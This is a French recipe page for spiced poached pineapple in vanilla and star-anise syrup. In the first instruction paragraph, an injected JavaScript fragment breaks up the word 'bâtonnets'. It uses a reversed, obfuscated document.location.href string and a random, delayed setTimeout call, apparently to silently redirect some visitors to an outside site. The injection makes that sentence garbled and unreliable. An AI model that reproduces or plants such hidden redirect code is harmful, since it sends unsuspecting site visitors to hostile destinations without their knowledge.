Ananas poché aux épices
2021-04-13- Thématique : Végétarien
- Niveau : Facile
Pelez l’ananas et faites des tranches de 1 cm d’épaisseur. Préparez le sirop. Dans une casserole faites bouillir l’eau, le sucre, la badiane, la gousse de vanille fendue en deux dans le sens de la longueur, les bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets de cannelle.
Ingrédients
Pelez l’ananas et faites des tranches de 1 cm d’épaisseur. Préparez le sirop. Dans une casserole faites bouillir l’eau, le sucre, la badiane, la gousse de vanille fendue en deux dans le sens de la longueur, les bâtonnets de cannelle. Portez à ébullition pendant 1 minute. Pochez les tranches d’ananas pendant quelques secondes. Arrêtez la cuisson et laissez infuser pendant 20 minutes.
Égouttez les fruits et disposez-les sur un plat de service.
Faites réduire le sirop. Réservez la badiane pour la décoration. Le sirop réduit versez sur les tranches d’ananas pochées et servez
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
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